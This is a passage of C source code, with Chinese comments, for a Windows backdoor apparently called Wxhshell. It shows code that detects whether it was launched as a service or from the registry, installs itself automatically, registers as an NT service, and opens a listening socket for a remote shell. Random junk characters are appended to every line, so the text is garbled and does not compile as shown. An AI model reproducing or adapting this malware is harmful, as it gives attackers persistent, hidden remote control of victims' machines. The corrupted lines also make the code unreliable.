DWORD AffinityMask; $=rLs)
DWORD BasePriority; )<8f3;qd
ULONG UniqueProcessId; =j$!N# L
ULONG InheritedFromUniqueProcessId; _6/q.
} PROCESS_BASIC_INFORMATION; (;1Pgh
~V?3A/]
PROCNTQSIP NtQueryInformationProcess; gZ&' J\
_5l3e7YN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #5a'Z+
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Rb=8(#
g#b uy
HANDLE hProcess; SPEDN}/^
PROCESS_BASIC_INFORMATION pbi; gyx4= 'Q
{%cm;o[7o
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r@9qjva
if(NULL == hInst ) return 0; U2@Mxw
w\f>.N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WUesTA>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @*{sj`AS
'
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [WxRwE
2B<0|EGtzw
if (!NtQueryInformationProcess) return 0; hD I}V1)
oY$L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -g`3;1EV^
if(!hProcess) return 0; $GcVI;a
^>H+#@R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @Y8/#6KE
w\PCBY=
CloseHandle(hProcess); j^&{5s
2-#:Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gY=Ry=w9
if(hProcess==NULL) return 0; f} _d`?K
zC[lPABQ
HMODULE hMod; S7_^E
char procName[255]; N)rf/E0
unsigned long cbNeeded; =Lyo]8>,X
*[MK{m
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *wOuw@09
FID4@--
CloseHandle(hProcess); eJm7}\/6`
Ad@Odx=o*R
if(strstr(procName,"services")) return 1; // 以服务启动 z%pD3J?>
S5$sB{\R
return 0; // 注册表启动 on=I*?+R
} -<0PBl
&D[pX|!
// 主模块 ;& PK6G
int StartWxhshell(LPSTR lpCmdLine) E*F)jP,yo
{ ,%a7sk<5k
SOCKET wsl; 8%;K#,>
BOOL val=TRUE; <\If:
int port=0; =b* Is,R/
struct sockaddr_in door; 3nJd0E
C<?Huw4R0
if(wscfg.ws_autoins) Install(); q:9#Vcw
A,2dK}\>
port=atoi(lpCmdLine); rq.S0bzH
W?B(Jsv
if(port<=0) port=wscfg.ws_port; u?>]C6$
Q6|~ks+Y
WSADATA data; N {$'-[
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EpO5_T_
rkW2_UTZE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D<m+M@u
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 71h?t`N
door.sin_family = AF_INET; RNJUA^{
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1YklPMx6
door.sin_port = htons(port); ]757oAXl
&!kr&g#]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _(q|W3
closesocket(wsl); g`skmHS89
return 1; 'Si1r%'m#
} Z{|U!tn
06&:X^
if(listen(wsl,2) == INVALID_SOCKET) { O-M4NKl]6
closesocket(wsl); f8DF>]WW
return 1; G(puC4 "&
} j|u6TG
Wxhshell(wsl); r="wd
WSACleanup(); D&xbtJd
M=}vDw]Q
return 0; I#]$H#}Av
}- Jw"|^W
} @CSTp6{y
\?bp^BrI
// 以NT服务方式启动 I.<>6ISI@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;btH[a iV
{ %#.HFK
DWORD status = 0; NC*h7
DWORD specificError = 0xfffffff; n%Vt r
Di3<fp#w#
serviceStatus.dwServiceType = SERVICE_WIN32; sW":~=H
serviceStatus.dwCurrentState = SERVICE_START_PENDING; CL^MIcq?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %C]K`=vI-
serviceStatus.dwWin32ExitCode = 0; 0Wf,SYx`s
serviceStatus.dwServiceSpecificExitCode = 0; B}.G(-u?7
serviceStatus.dwCheckPoint = 0; QOECpk-
serviceStatus.dwWaitHint = 0; 4JTFdbx
KfXE=v{t
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2VOdI
if (hServiceStatusHandle==0) return; QY<{S&k9
sLV bFN`
status = GetLastError(); g+ik`q(ge
if (status!=NO_ERROR) [TPr
{ X*2MNx^K~
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Pis0fa
serviceStatus.dwCheckPoint = 0; qY24Y
serviceStatus.dwWaitHint = 0; p;!'5 f
serviceStatus.dwWin32ExitCode = status; aDx{Q&
serviceStatus.dwServiceSpecificExitCode = specificError; Tc6H%itV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); T4`.rnzyRb
return; 8J:6uO
c|
} ;r[@;2p*(
G)b6Rit
serviceStatus.dwCurrentState = SERVICE_RUNNING; w0x%7mg@
serviceStatus.dwCheckPoint = 0; nn@"68]g
serviceStatus.dwWaitHint = 0; s4 o-*1R*`
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cvpcadN[
} 9-DDly [)4
nT0FonK>
// 处理NT服务事件,比如:启动、停止 .y {qsL^P
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vcg$H8m
{ +Io[o6*
switch(fdwControl) 8|A*N<h
{ lvi~GZ
case SERVICE_CONTROL_STOP: lm}mXFf#
serviceStatus.dwWin32ExitCode = 0; U:eahK
serviceStatus.dwCurrentState = SERVICE_STOPPED; w!7f*
serviceStatus.dwCheckPoint = 0; C+-xC~
serviceStatus.dwWaitHint = 0; 2G8f4vsC[
{ O $uXQ.r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zqke8q
} 0+b1R}!2
return; F>,kKR-
case SERVICE_CONTROL_PAUSE: 'vT
XR_D
serviceStatus.dwCurrentState = SERVICE_PAUSED; dm1WC:b
break; |1H"ya
case SERVICE_CONTROL_CONTINUE: h
Ns<Ae
serviceStatus.dwCurrentState = SERVICE_RUNNING; q&